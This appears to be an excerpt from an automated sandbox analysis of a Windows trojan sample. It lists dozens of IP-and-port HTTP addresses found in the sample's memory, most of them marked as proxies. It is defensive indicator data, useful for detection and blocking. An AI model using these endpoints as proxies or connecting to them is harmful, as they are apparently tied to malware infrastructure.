Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.91.192:11721
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.91.192:11721://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C952C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.91.192:17605
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C952C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.91.192:17605://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.91.192:21981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.91.192:21981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.91.192:27898
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.187.91.192:27898://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.193.227.108:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.193.227.108:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7949000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.194.22.116:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C795B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.194.22.116:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.207.45.15:48678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.207.45.15:48678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.221.197.165
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.221.197.165://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.221.197.165:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.228.65.107:51032
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.228.65.107:51032://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.230.154.57:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.230.154.57:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.233.102.111:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.233.102.111:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FC8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.235.24.194:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.235.24.194:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.252.13.248:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.252.13.248:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.26.86.206:47464
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.26.86.206:47464://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.27.6.46
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.27.6.46://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.27.6.46:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.32.15.125:6888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.32.15.125:6888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.44.238.2:52611
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.44.238.2:52611://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.46.241.247
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C668F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.46.241.247://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C667B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.46.241.247:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.48.120.146:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.48.120.146:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.52.13.164:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.52.13.164:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.58.58.206://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.58.58.206:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.58.58.206x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.59.213.49:43840
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.59.213.49:43840://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.97.201.252
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.97.201.252://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.97.201.252:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDA5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.99.224.225:7497
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.99.224.225:7497://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C835E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.99.254.217:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://37.99.254.217:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.10.179.195:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.10.179.195:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.10.250.5:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.10.250.5:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.10.69.107:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.10.69.107:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.115:11537
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.115:11537://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.137:47421
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.137:47421://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.186:174
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.186:174://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.95:46656
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.172.95:46656://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9002000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.179.236:2093
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9002000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.127.179.236:2093://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9444000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C930F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.15.160:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C936B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.156.15.160:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.172.128.24:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.172.128.24:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.183.144.117:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.183.144.117:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.242.136.254:1970
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.242.136.254:1970://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7ECF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.253.88.242:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C840A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.253.88.242:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4CF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.255.72.68:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.255.72.68:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C790E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.0.60:11201
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.0.60:11201://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.0.62:11201
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.0.62:11201://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.0.6:11201
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.0.6:11201://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.27.150:11201
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.27.150:11201://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.53.144:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.53.144:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.53.149:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.53.149:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.43.150.166:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.43.150.166:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.46.222.60:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.46.222.60:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.49.138.138:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.49.138.138:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.50.165.54:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.50.165.54:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6C9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.51.243.145:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.51.243.145:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF23000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.51.49.84:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.51.49.84:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.51.60.133:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.51.60.133:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8F04000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.56.70.75:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8FEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.56.70.75:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.56.70.97:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.56.70.97:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.69.152.180:33333
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.69.152.180:33333://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC63E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.1.233:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.1.233:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7636000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.18.147:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.18.147:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.91.106.252:11420
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.91.106.252:11420://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.91.107.220:48351
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.91.107.220:48351://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.105.27.30:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.105.27.30:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.107.33.254:8090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.107.33.254:8090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.109.113.97:3128
